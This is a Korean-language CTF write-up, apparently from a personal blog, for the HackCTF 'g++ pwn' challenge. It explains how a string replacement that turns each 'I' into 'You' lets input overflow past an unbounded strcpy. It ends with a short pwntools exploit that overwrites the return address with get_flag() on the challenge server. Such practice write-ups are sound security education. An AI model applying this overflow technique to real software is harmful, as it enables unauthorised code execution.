tmxklab
[HackCTF/Pwnable] g++ pwn 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3011
1) 접속
입력을받고 출력한 뒤 프로그램이 종료됨
2) IDA를 통해 확인
총 4개의 함수를 볼 수 있음
2-1) IDA(Pseudocode)확인 - main()
2-2) IDA(Pseudocode)확인 - vuln()
- fgets()를 통해 s변수에 32bytes까지 입력받음
- 다시 s변수에 저장된 값을 input값에 저장
- replace()를 통해 "I"문자열이 저장된 v7과 사용자의 입력 값이 저장된 input과 v4를 인자로 받음
- replace()의 리턴 값으로 v4를 반환하고 input값에 복사해주는 듯 싶다
- 이후에 v1에 input값을 저장하고 strcpy()를 통해 다시 s변수에 v1의 값을 복사시킨 뒤 s변수를 출력
2-3) IDA(Pseudocode)확인 - get_flag()
3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인
2. 접근방법
1) vuln()분석
- replace()함수에서는 사용자의 입력 값 중에 "I"가 있는지 찾아서 어떤 값으로 변환한 뒤 v4변수로 반환
- 확인 결과 "I"의 개수만큼 "You"로 출력
- fgets()에서는 32bytes까지 길이제한이 있어 bof수행하기 어렵지만 strcpy()에서는 길이의 제한을 받지 않음
- strcpy()의 인자로 s변수가 사용되는데 s변수는 [ebp-0x3c]부터 시작한다.
2) 결론
- s변수가 ebp로부터 60bytes떨어진 곳에 위치하므로 fgets()에서는 32bytes까지 길이제한이 있어 bof가 불가능
- 하지만, 1byte인 "I"문자를 여러 개 입력하여 replace()를 통해 3bytes인 "You"로 변환되므로 길이 제한이 없는 strcpy()부분에서 bof가 가능
- 따라서, SFP까지 덮기 위해서 64bytes가 필요하므로 replace()와 strcpy()를 이용하여 bof를 수행하고 ret부분에 get_flag()의 주소를 덮어야 한다.
3. 풀이
1) gdb를 통해 test
- "I"문자 20개와 "A"문자 4개를 input값으로 넣어 s변수에 64bytes까지 증가되는 것을 볼 수 있으며 EBP에 "AAAA"가 들어간 것을 확인할 수 있다.
- 이제, get_flag()의 주소를 찾아 vuln()의 ret주소를 바꿔보자
2) get_flag()주소 확인
- get_flag() : 0x8048f0d
3) 공격코드 작성
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3011)
get_flag_addr = 0x8048f0d
payload = "I"*20
payload += "A"*4
payload += p32(get_flag_addr)
p.sendline(payload)
p.interactive()
4) 공격 실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] 1996 (0) | 2020.02.23 |
---|---|
[HackCTF/Pwnable] Poet (0) | 2020.02.22 |
[HackCTF/Pwnable] RTL_World (0) | 2020.02.22 |
[HackCTF/Pwnable] Yes or no (0) | 2020.02.22 |
[HackCTF/Pwnable] BOF_PIE (0) | 2020.01.28 |